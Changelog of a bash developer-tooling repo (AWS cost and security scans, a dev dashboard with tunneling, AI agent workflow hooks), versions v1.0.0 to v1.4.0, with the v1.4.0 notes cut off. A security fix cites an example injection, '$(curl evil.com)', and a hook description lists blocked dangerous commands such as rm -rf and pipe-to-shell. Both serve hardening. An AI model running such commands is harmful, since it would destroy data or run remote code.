v1.4.0

Highlights

This release adds three major systems: an AWS operations suite with shared auth handling, a dashboard tunnel system for exposing the dev UI externally, and a dual-agent workflow framework for both Claude Code and Codex. The dashboard gets tabbed AWS reports, shared UI patterns, and a Cloudflare quick-tunnel feature. The repo also gains CI validation, hook-based safety enforcement, and a regression eval suite seeded from real git history.

AWS Operations Suite

New: lib/aws/_aws-common.sh - shared helpers

All AWS scripts now source a shared library instead of duplicating auth and .env loading inline. Provides:

• load_env_file() - safe .env parser (handles quotes, whitespace, export prefix)
• require_aws_auth() / ensure_aws_cli() - credential validation before API calls
• Dual auth modes: access keys from .env OR AWS profile/SSO
• Color constants, require_cmd(), require_unix(), require_modern_bash()
• Idempotent source guard (_AWS_COMMON_LOADED)

New: lib/aws/aws-costs.sh (548 lines)

Cost Explorer analysis with service-level breakdown and resource inventory.

• Date range support: aws-costs.sh, aws-costs.sh 2026-01, aws-costs.sh --start 2026-01 --end 2026-03
• Defaults to previous month + current MTD
• Groups costs by service, sorted by total spend
• EC2-Other sub-breakdown (NAT Gateway, EBS, Elastic IPs, data transfer)
• Resource inventory: ECS Fargate (with cost estimate), ALBs, WAF ACLs, RDS, NAT Gateways, Secrets Manager, S3 buckets

New: lib/aws/aws-rightsizing.sh (701 lines)

CloudWatch utilisation advisor for six resource types.

• RDS: CPU, memory, storage, connections, IOPS, latency - with downsize suggestions per instance class
• ECS Fargate: CPU/memory utilisation vs allocation, Fargate pricing estimates, downsize suggestions with savings calculation
• ALBs: request volume, 5xx error rate, response time, connection count, cost-justification assessment
• NAT Gateways: data transfer volume, cost projection, VPC endpoint suggestions
• EC2: CPU utilisation, network throughput
• CloudWatch Log Groups: storage size, retention policy audit, cost estimate
• Configurable thresholds: CPU_LOW, CPU_HIGH, MEM_LOW, MEM_HIGH, STORAGE_HIGH, CONN_LOW

New: lib/aws/aws-security.sh (530 lines)

Read-only security posture scan covering eight AWS services.

• WAF: rule analysis (managed vs custom vs rate-based), traffic stats, cost breakdown, orphaned ACL detection
• Security Groups: 0.0.0.0/0 ingress detection with port-level severity (SSH/RDP = alert, HTTP/HTTPS = warn)
• IAM Users: MFA status, access key age with rotation warnings (>90d warn, >365d critical)
• S3: public access block audit per bucket
• RDS: public accessibility check
• EBS: unencrypted volume detection
• Secrets Manager: rotation status audit
• CloudTrail: logging status, multi-region coverage, CloudWatch integration
• Findings summary with counts by severity (alert/warn/info)

Changed: lib/aws/aws-cli.sh

Refactored from standalone script to _aws-common.sh consumer. Now supports:

• Terraform subcommand routing with auth-aware gating (skip auth for help, fmt, validate)
• AWS subcommand auth gating (skip auth for help, configure, sso login/logout)
• exec for both aws and terraform calls (cleaner process lifecycle)

New: .env.example

Template for AWS credentials: AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_DEFAULT_REGION.

Dashboard

New: Tunnel System (dashboard/tunnel.php)

Provider-agnostic tunnel management for exposing the dashboard externally.

• Cloudflare quick tunnel - one-click launch with cloudflared process lifecycle
• Manual URL - paste any tunnel URL (ngrok, localhost.run, Tailscale Funnel, custom)
• Recent URLs saved in localStorage (last 5, click to reuse)
• Live uptime timer with 20-second auto-refresh polling
• Inline connectivity tester (GET/HEAD) with curl preview and result alerts
• Browser notification when tunnel is ready
• Cloudflared log viewer

API endpoints added to index.php:

• POST /api/tunnel/start, stop, configure, test
• GET /api/tunnel/status, logs

start-dev.sh cleanup trap - kills orphaned cloudflared on Ctrl+C. PID tracking at /tmp/{project-slug}-dashboard/tunnel-cloudflare.pid.

New: AWS Reports (dashboard/aws.php + dashboard/aws_ui.php)

Full AWS operations console accessible from the dashboard.

• Tabbed UI: Overview, Costs, Rightsizing, Security, CLI
• Overview cards with total cost, resource counts, health status
• Cost tab: service breakdown with proportional bar charts
• Rightsizing tab: utilisation heatmap by resource type
• Security tab: findings summary with color-coded severity
• CLI tab: raw shell wrapper for ad-hoc AWS commands
• Each tab retains last result until re-run
• Last-run status shows command, duration, timestamp

Changed: Shared UI Patterns

Reusable CSS classes added across dashboard pages:

• .status-badge - dot + label indicator with optional pulse animation
• .result-alert - dismissible banner with colored left border, slide-in animation
• .collapsible-header / .collapsible-body - expand/collapse with rotating chevron
• focus-visible outlines for keyboard navigation

Changed: Dashboard UX

• Terminal completion/stop now shows fixed alert banner above scrollable output
• Sidebar running indicator uses left accent border
• Welcome state centered flex layout
• Theme toggle changed to icon-only moon SVG
• Stop button disabled state neutralized (no longer pink/red tint)

AI Workflow System

New: Claude Code Workflow (CLAUDE.md rewrite)

CLAUDE.md rebuilt from 67 to 100 lines with structured execution loop:

• READ → CLASSIFY → ACT → VERIFY → LOG loop with concrete examples
• Autonomy tiers: Always (tests, lint, read) / Ask First (shared helpers, CONFIGURATION blocks, cross-domain, .github/instructions/) / Never (delete tests, .env, push main, commit unless asked)
• Definition of Done: 6 gates (syntax, tests, boundaries, logs, notes, grep-after-rename)
• Router table: 18 entries pointing to docs, skills, evals, instructions files

New: Codex Workflow (AGENTS.md, scripts/, docs/codex-playbooks/)

Codex-native runtime spec with validation infrastructure:

• AGENTS.md (154 lines) - execution loop, autonomy tiers, DoD, router table
• scripts/context-validate.sh - validates router targets, playbook sections, footgun evidence, eval counts
• scripts/deny-dangerous.sh - policy documentation with --check and --self-test modes
• scripts/preflight-checks.sh - wraps root preflight + PHP lint + context validation + deny self-test
• 5 codex playbooks in docs/codex-playbooks/: preflight, debug-investigate, audit, research, code-review

New: Hook Enforcement (.claude/hooks/)

• deny-dangerous.sh (PreToolUse) - blocks rm -rf, force push, push main, chmod 777, pipe-to-shell, .env edits, --no-verify, CONFIGURATION block edits. jq extraction with grep/sed fallback
• stop-lint.sh (Stop) - runs bash -n + shellcheck on changed .sh files after every turn. Always exits 0 (non-zero causes infinite loops). Infinite loop guard
• Permissions deny list in settings.json: *git commit* and *git push* blocked at tool level before hooks fire

New: Skills (.claude/skills/)

5 skill definitions for Claude Code slash commands:

• /preflight - RFC 2119 tiers (MUST: bash -n + shellcheck, SHOULD: bats + chmod, MAY: dependency audit)
• /code-review - structured review with convention checklist (renamed from /review to avoid built-in conflict)
• /debug-investigate - diagnosis-first with execution path tracing, hard gate before fixes
• /audit - 4-pass (discovery → verification → prioritisation → fabrication self-check)
• /research - deep codebase read with 3-risk minimum, hard gate before planning

New: Agent Evals (agent-evals/, codex-evals/)

5 regression tests seeded from real git history, mirrored for both agents:

• aws-empty-output-crash - jq parsing of null AWS output (commits 0c6c604, 00a00b9)
• repo-root-resolution-bug - dirname vs git rev-parse inconsistency (commit c72338a)
• aws-auth-ordering-bug - require_aws_auth called before ensure_aws_cli (commit 76d7fef)
• rename-grep-verification - stale references after start.sh → start-dev.sh rename (commit c72338a)
• cross-domain-dashboard-parsing - PHP parser breaks on absent report sections (commit 9bfc8b5)

New: CI Validation (.github/workflows/context-validation.yml)

PR checks for workflow asset integrity:

• CLAUDE.md line count (warn >100, error >150)
• All .claude/skills/*/ directories have SKILL.md
• Local CLAUDE.md files under 20 lines
• Codex workflow validation via scripts/context-validate.sh

New: Documentation

• docs/architecture.md - codebase overview (47 lines): layout, runtime flows, constraints, trade-offs
• docs/domain-reference.md - migrated from CLAUDE.md: common workflows, domain router, source patterns, logging paradigms, template contracts
• docs/lessons.md - behavioural learning loop (empty, seeded with format)
• docs/guidelines-ownership-split.md - documents the AGENTS.md migration rationale
• docs/footguns.md - expanded from 46 to 116 lines with file:line evidence
• lib/ai-cli/CLAUDE.md - local warnings for WSL PATH sanitisation and source pattern
• tasks/handoff-template.md - session handoff template (Status, State, Decisions, Risks, Next Step)

New: AI Workflow Plan Documents

7 design documents committed to the repo root (00-1-ai-workflow-*.md):

• Improvement plan (v1.4, 715 lines) - full system architecture
• Article (v1.3, 242 lines) - narrative with real implementation data
• Cross...

v1.3.1

v1.3.1 Release Notes - DevGoat Bash Scripts

Release Date: March 1, 2026

Overview

This patch release is a cleanup/fix release focused on consistency and reliability:

• fixes stale script references introduced by prior layout changes,
• removes a temporary compatibility drift,
• and expands default port coverage in port-check.

Dashboard Config Corrections

• Updated dashboard/config.example.php script registry paths to current canonical locations:
  • lib/dev/git-status.sh → lib/workflow/git-status.sh
  • lib/dev/git-checkout.sh → lib/workflow/git-change-branch.sh
  • lib/dev/port-check.sh → lib/health/port-check.sh

Port Check Improvements

• Expanded lib/health/port-check.sh default ports:
  • 3706
  • 8086
  • 8087
  • 11436

Documentation & Convention Alignment

• Cleaned stale references in:
  • README.md
  • AGENTS.md
  • .github/instructions/dev.instructions.md
  • docs/bats-core.md
  • docs/footguns.md
• Removed obsolete domain/script references from active guidance (lib/dev, lib/deps, lib/quality, lib/aws/deploy.sh, removed lib/quality/lint-shell.sh mention, and old lib/health/check-local.sh references).

Maintenance/Test Alignment

• Removed obsolete strict-mode exception entry for non-existent lib/health/check-local.sh from tests/test_helper.bash.

---

Full Changelog: v1.3.0...v1.3.1

v1.3.0

v1.3.0 Release Notes - DevGoat Bash Scripts

Release Date: March 1, 2026

Overview

This release focuses on simplifying the repo structure. Project-specific scripts have been removed, legacy compatibility wrappers have been deleted, and several directories have been consolidated. The repo is now leaner (104 -> 72 scripts) and every script is genuinely reusable across projects.

Structure Cleanup

The biggest change is removing everything that was too project-specific to be reusable:

Deleted directories:

• lib/dev/ - all 10 legacy compatibility wrappers removed outright (no deprecation period)
• lib/deps/ - stacks already have their own dependencies-install.sh and dependencies-update.sh
• lib/quality/ - preflight-checks.sh is now standalone; lint dispatch scripts removed
• lib/db/ - replaced by lib/stacks/*/rebuild-database.sh

Deleted project-specific scripts:

• lib/workflow/ - rebuild-full, rebuild-smart, setup-initial, setup-verify, stop-dev, switch-mode
• lib/health/ - report, check-local, check-remote, check-aws
• lib/aws/ - deploy, deploy-ecr-ecs, amplify-health-check, amplify-variables-get, amplify-variables-set

Current directory layout:

lib/
  ai-cli/       # AI coding assistant installers/uninstallers
  aws/          # AWS CLI, Terraform, S3, CloudFront, Secrets Manager, health check
  codegen/      # Code map generator
  docker/       # Docker Compose wrappers (up, down, restart, prune, logs, network, mounts)
  health/       # API auth probe, GPU check, load test, port check
  maintenance/  # Git cleanup, executable bits, zone identifiers, secret scanning
  stacks/       # Per-language setup/deps/preflight/verify (go, node, php, python, rust)
  tools/        # Bats, Ollama, Starship installers
  workflow/     # Help index, git branch/status, sync-env

New Scripts

• Rust stack (lib/stacks/rust/) - setup, verify, preflight-checks, dependencies-install, dependencies-update
• lib/docker/ - up, down, restart, prune, logs-tail, network-heal, mount-doctor
• lib/health/ - check-api-auth, check-gpu, load-test, port-check
• lib/aws/health-check.sh - comprehensive AWS infrastructure health check covering credentials, Secrets Manager, ECS, production API, DynamoDB, and CloudWatch logs. Moved from the old lib/health/check-remote.sh

Changes

• preflight-checks.sh is standalone again** - self-contained 7-check quality gate (shebang, strict mode, executable bit, bash -n, shellcheck, no secrets staged, bats tests). No longer delegates to a deleted file
• git-change-branch.sh safe switching - now runs git add . && git stash && git fetch before checkout. Accidental branch switches are reversible with git stash pop. Auto-restores the stash if checkout fails
• help.sh delegates** to lib/workflow/help-index.sh for categorized script listing with keyword search
• Dashboard drops ext-posix dependency - process management in dashboard/index.php now uses shell-based helpers instead of posix_kill()

---

Full Changelog: v1.2.0...v1.3.0

v1.2.0

v1.2.0 - DevEx Dashboard & Developer Scripts

This release brings the DevGoat DevEx Dashboard to life - a browser-based script runner for your projects - along with new developer scripts, expanded port scanning, and a batch of bug fixes.

Dashboard

The PHP dashboard (dashboard/start-dev.sh) is now fully functional with:

• Script runner UI - sidebar with categorized scripts, terminal output with ANSI color support, SSE streaming
• WSL Path Selector - switch target project via dropdown or custom path input, scripts run in the selected project's directory
• Copy button - grab terminal output to clipboard
• Config banner - warns when using the default example config, with a link to run Help
• Request logging - clean [dashboard] RUN/DONE/STOP events in the terminal, PHP TCP noise filtered out
• Dynamic target badge - header badge updates to show the current target project folder name
• BlunderGOAT branding - logo in header, footer link to blundergoat.com
• Auto-config - config.php is auto-created from config.example.php on first run
• Prompt system - scripts can prompt for user input (text or select), with an optional flag for inputs that can be left empty

New Scripts

Script	Description
lib/dev/git-status.sh	Branch, recent commits, and working tree status at a glance
lib/dev/git-checkout.sh	Switch branches with automatic remote tracking

Improvements

• port-check.sh - default ports expanded from 5 to 10 (3000, 3306, 5432, 6379, 8000, 8080, 8081, 8082, 8899, 11434) covering MySQL, Postgres, Redis, PHP/Python dev servers, Go APIs, the dashboard, and Ollama. Now accepts comma-separated input: port-check.sh 3306,6379,8080
• dashboard/config.example.php - ships with real drop-in scripts organized into devgoat-bash-scripts, Quick Info, and Maintenance categories. Includes git-checkout with branch prompt and port-check with optional ports prompt
• dashboard/start-dev.sh - defaults to DevGoat DevEx Dashboard project name, SCRIPTS_DIR defaults to . (project root)
• scan-secrets.sh - tightened grep patterns to reduce false positives (no more ======== separator and file path matches)

Bug Fixes

• port-check.sh - crashed silently under set -euo pipefail when grep -oP found no pid= info (non-root). Added || true
• make-scripts-executable.sh - git ... || cd ... && pwd operator precedence caused REPO_ROOT to contain two paths with an embedded newline. Fixed with { ...; } grouping
• scan-secrets.sh - broad [A-Za-z0-9/+=]{40} pattern matched separator lines and paths. Also fixed shellcheck subshell counter bug
• lib/stacks/_common.sh - corrupt first line (e out #!/usr/bin/env bash) broke all stacks tests
• lib/tools/install-starship.sh - removed unused YELLOW variable (shellcheck SC2034)
• dashboard/start-dev.sh - changed from hard-fail to auto-copy config.example.php when config.php is missing

Getting Started

# Start the dashboard
./dashboard/start-dev.sh

# Or with a custom project name
PROJECT_NAME="My Project" ./dashboard/start-dev.sh --port 9000

Edit dashboard/config.php to add the scripts useful for your project. Run ./help.sh to see what's available.

---

Full Changelog: v1.1.0...v1.2.0

v1.1.0

v1.1.0 -Bug Fixes, Security Hardening & macOS Portability

Bug Fixes

• ((var++)) crash under set -e -health-check-remote.sh and secrets-manager-health-check.sh would abort on the first successful or failed check because post-increment from 0 returns exit status 1. Replaced with $((var + 1)).
• lint-all.sh reported false failures -git ls-files includes deleted-but-tracked files, so running the linter after deleting a script would fail. Now skips files that no longer exist on disk.
• CRLF line endings broke all scripts on direct execution -Every file had Windows CRLF endings due to core.autocrlf=true. Added .gitattributes with eol=lf to enforce LF on all checkouts regardless of platform.

Security

• .env no longer executed as shell code -stacks/_common.sh, aws-cli.sh, and terraform.sh used source .env which would execute arbitrary commands (e.g. $(curl evil.com)). Replaced with safe while IFS='=' read key-value parsing.
• Secrets masked in terminal output -amplify-variables-set.sh printed raw variable values including DB passwords and API keys. Now shows ****(N chars) instead.
• start-dev.sh port cleanup is safer -Previously killed any process on configured ports with no checks, escalating to kill -9. Now shows PID, process name, and owner before killing, and only terminates processes owned by the current user.
• lint-all.sh --fix now confirms before patching -Prompts for y/N confirmation before auto-applying shellcheck fixes via git apply.

macOS Portability

• sed -i compatibility -start-dev.sh and uninstall-kiro-cli.sh now branch for BSD sed (sed -i "") vs GNU sed (sed -i).
• grep -P replaced -docker-cleanup.sh used Perl-compatible regex unavailable on macOS. Replaced with portable sed -n.
• Timing no longer shows 0.0s -_goat_now() helper detects whether date supports nanoseconds and adjusts the math accordingly. Fixes stacks/_common.sh, preflight-checks.sh, and all stacks preflight scripts.

Removed

• Grok CLI scripts -Removed install-grok.sh and uninstall-grok.sh. The upstream @vibe-kit/grok-cli is unmaintained and broken since xAI deprecated its live search API (HTTP 410 since 2026-01-12).

Documentation

• Removed stale Grok references from README.md and docs/code-map.md.
• Fixed script counts in code-map.md (ai-cli: 17→15, maintenance: 6→7, setup: 3→5).
• Added missing scripts to README.md tables (5 maintenance, 4 dev, sync-env.sh, install-bats-core.sh).
• Added root preflight-checks.sh to code-map.md.
• Fixed gpu-check.sh description -NVIDIA only, not Apple Silicon.
• Added ((var++)) and show_help() gap footguns to docs/footguns.md.
• Added CHANGELOG.md.
• Updated .gitignore -added .claude/plans/, .claude/memory/, *.bak, .terraform/, *.tfstate*, .env.production.

v1.0.0

v1.0.0 - 2026-02-26

First stable release of devgoat-bash-scripts.

Included

• lib/setup/install-bats-core.sh as the primary Bats installer.
• lib/setup/install-bats.sh shim that forwards to install-bats-core.sh.
• Root preflight-checks.sh now:
  • auto-installs Bats via ./lib/setup/install-bats-core.sh when missing
  • runs Bats in non-interactive mode (bats tests/ --recursive </dev/null)
• Strict-mode exception coverage for Node stack scripts:
  • lib/stacks/node/preflight-checks.sh
  • lib/stacks/node/verify.sh
• lib/codegen/generate-code-map.sh annotated directory-style output (folder/ = description).
• Bats documentation at docs/bats-core.md.